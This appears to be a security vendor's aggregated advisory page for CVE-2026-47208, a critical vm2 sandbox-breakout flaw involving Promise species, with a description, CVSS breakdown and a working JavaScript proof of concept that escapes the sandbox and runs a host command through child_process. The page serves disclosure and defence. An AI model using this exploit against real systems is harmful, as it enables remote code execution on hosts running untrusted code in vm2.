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🛡️ CVE-2026-47208 — vm2

🔴 CVSS 10.0 — Critical ✅ No Known Exploit CWE-913 NVD
10.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

vm2 is Vulnerable to Sandbox Breakout Through Promise Species

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The localPromise constructor was changed to call this.then(undefined, eater) to ensure a rejected promise is always used. However, this is missing a call to resetPromiseSpecies to ensure that this has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.

PoC

```js

const {VM} = require("vm2");

const vm = new VM();

vm.run(`

class E extends Error {}

function so(d) {

if (d > 0) so(d-1);

const e = new E();

e.stack;

throw e;

}

let ex, ct;

class FakePromise extends Promise {

static get [Symbol.species](){return ct;}

}

function doCatch(f) {

ex=undefined;

const p=Promise.withResolvers();

ct = function(e){e(f, v=>{ex=v;p.resolve();})};

new FakePromise(r=>r());

return p.promise;

}

(async function f(s) {

let min = s;

let max = 100000;

while (min<max) {

const mid = (min+max)>>1;

await doCatch(()=>so(mid));

if (ex.name==="RangeError" && !(ex instanceof RangeError)) {

ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');

return;

}

if (ex instanceof E) {

min = mid+1;

} else {

max = mid;

}

}

f(s+1);

})(0);

`);

```

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-47208 is classified as CWE-913: Improper Control of Dynamically-Managed Code Resources. Attacker input reaches variables, objects or code that the runtime manages dynamically.

Affected software

CVE-2026-47208 is recorded against 2 packages.

  • unknown
  • vm2

Timeline and source

Published on 12 June 2026 and last revised on 17 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com
github.com
github.com
github.com

Other advisories for this package

unknown has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-913: Improper Control of Dynamically-Managed Code Resources) in other software:

CVE-2026-47208 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity CRITICAL
CVSS Score 10.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE CWE-913
Public Exploit ✅ No
Source NVD
Published 2026-06-12
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
unknown — —
vm2 — —

Similar Threats

Exploit Protection

Are you running vm2?

CVE-2026-47208 carries CVSS 10.0 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

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ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

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